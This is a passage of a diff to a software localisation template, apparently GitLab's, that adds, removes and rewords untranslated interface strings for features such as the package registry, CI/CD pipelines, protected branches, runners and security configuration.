msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -19908,6 +19599,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -19926,9 +19626,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20148,9 +19845,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20220,6 +19914,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20241,6 +19938,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20253,6 +19953,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20313,9 +20016,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21091,9 +20791,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21233,9 +20930,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21494,9 +21188,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21669,9 +21360,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21720,7 +21408,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21777,13 +21465,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -21979,9 +21667,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22000,7 +21685,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22309,9 +21994,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22498,9 +22180,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22631,9 +22310,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23268,10 +22944,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23349,6 +23025,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23379,6 +23058,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23403,9 +23088,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23457,6 +23139,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23466,15 +23151,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23520,6 +23205,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23550,6 +23241,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23742,9 +23439,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -23949,10 +23643,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -23964,9 +23658,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -23976,16 +23667,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24105,10 +23802,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24126,12 +23823,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24243,9 +23946,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24396,13 +24096,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24447,10 +24147,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24462,6 +24162,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25074,6 +24780,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25359,9 +25068,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25389,6 +25095,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25401,9 +25110,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25452,15 +25158,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25509,9 +25209,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26127,9 +25824,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26145,9 +25839,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26232,21 +25923,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26262,18 +25950,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26289,9 +25968,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26304,6 +25980,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26319,7 +25998,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26328,6 +26007,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26337,9 +26019,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26358,9 +26037,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26484,13 +26160,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26511,12 +26190,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26526,6 +26214,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26535,12 +26226,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26586,18 +26280,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27001,6 +26707,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27028,6 +26737,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27206,6 +26918,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27221,15 +26936,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27245,9 +26954,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27395,15 +27101,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27413,15 +27122,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27815,6 +27515,9 @@ msgstr[0] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -27965,12 +27668,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -27986,9 +27683,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28081,6 +27775,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28090,9 +27787,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28159,12 +27853,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28174,6 +27877,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28183,9 +27889,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28198,9 +27913,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28243,12 +27964,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28279,6 +28006,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28357,6 +28090,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28408,10 +28147,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28444,6 +28180,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28495,6 +28234,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28579,9 +28321,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28701,12 +28440,6 @@ msgstr[0] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28773,6 +28506,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28794,6 +28530,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28803,6 +28542,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -28827,9 +28572,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -28839,12 +28593,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -28857,7 +28620,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -28866,6 +28632,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
